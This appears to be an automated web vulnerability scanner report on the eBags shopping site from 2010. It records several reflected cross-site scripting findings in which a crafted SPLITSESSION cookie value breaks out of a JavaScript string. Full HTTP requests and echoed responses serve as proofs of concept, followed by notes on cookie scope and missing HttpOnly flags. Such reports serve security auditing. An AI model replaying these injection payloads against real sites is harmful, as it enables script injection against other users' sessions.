Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shoppingcart/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C83e1c'%3balert(1)//6f77a7517bf; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:06:20 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822; expires=Sun, 02-Jan-2011 14:06:20 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 63958
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1 ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','BECOME01$COUPONID=40959822'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|83e1c';alert(1)//6f77a7517bf'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 80efe'%3balert(1)//3406a34fe1c was submitted in the SPLITSESSION cookie. This input was echoed as 80efe';alert(1)//3406a34fe1c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /travel_accessories/car_travel_accessories/category_search/index.cfm?Ne=100&N=4001+2006737 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C80efe'%3balert(1)//3406a34fe1c; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:18:56 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:18:56 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 114681
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech. ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|80efe';alert(1)//3406a34fe1c'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bdf5a'%3balert(1)//c7e07e7fbd8 was submitted in the SPLITSESSION cookie. This input was echoed as bdf5a';alert(1)//c7e07e7fbd8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /travel_accessories/car_travel_accessories/category_search/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7Cbdf5a'%3balert(1)//c7e07e7fbd8; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:18:15 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:18:15 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 127323
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|bdf5a';alert(1)//c7e07e7fbd8'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 55a7b'%3balert(1)//3fe6ba4f5e4 was submitted in the SPLITSESSION cookie. This input was echoed as 55a7b';alert(1)//3fe6ba4f5e4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /travel_accessories/department/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C55a7b'%3balert(1)//3fe6ba4f5e4; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:17:14 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:17:14 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 75261
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|55a7b';alert(1)//3fe6ba4f5e4'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 16d6b'%3balert(1)//184a31eb581 was submitted in the SPLITSESSION cookie. This input was echoed as 16d6b';alert(1)//184a31eb581 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /travel_accessories/travel_electronics_cases/category_search/index.cfm?Ne=100&N=4001+20013816 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C16d6b'%3balert(1)//184a31eb581; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:19:19 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=808CF272DALERT281292D27269B66DFCDF; expires=Sun, 02-Jan-2011 14:19:19 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 120267
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech. ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','808CF272DALERT281292D27269B66DFCDF'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|16d6b';alert(1)//184a31eb581'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9170f'%3balert(1)//003e259fe6f was submitted in the SPLITSESSION cookie. This input was echoed as 9170f';alert(1)//003e259fe6f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /travel_accessories/travel_electronics_cases/category_search/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C9170f'%3balert(1)//003e259fe6f; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:18:29 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID; expires=Sun, 02-Jan-2011 14:18:29 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 127384
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','BECOME01$COUPONID'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|9170f';alert(1)//003e259fe6f'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
Request
GET /product/case-logic/sony-psp-game-case/120830?productid=1312640&sourceID=BECOME01$couponid=40959822 HTTP/1.1 Host: www.ebags.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /product/case-logic/sony-psp-game-case/120830?productid=1312640&sourceID=BECOME01$couponid=40959822 HTTP/1.1 Host: www.ebags.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:02:34 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822PRODUCTID%3D; expires=Sun, 02-Jan-2011 14:02:34 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 74986
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /blocks/ajax/productEDD.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:02:24 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D409598226342D8A3CFF649EABBA3DA7F; expires=Sun, 02-Jan-2011 14:02:24 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=UTF-8 Content-Length: 8
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /blocks/dsp_non_discountable_brands.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:02:14 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=6342D8A3A72905B3C84F9D85; expires=Sun, 02-Jan-2011 14:02:14 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=UTF-8 Content-Length: 36836
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <script language="javascript"> function redir(site) { window.opener.location.href = site; window.close() } function ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /blocks/dsp_prop65.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:02:17 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=6342D8A3A72905B3C84F9D85; expires=Sun, 02-Jan-2011 14:02:17 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=UTF-8 Content-Length: 5437
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <script language="javascript"> function redir(site) { window.opener.location.href = site; window.close() } function ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /brand/athalon HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
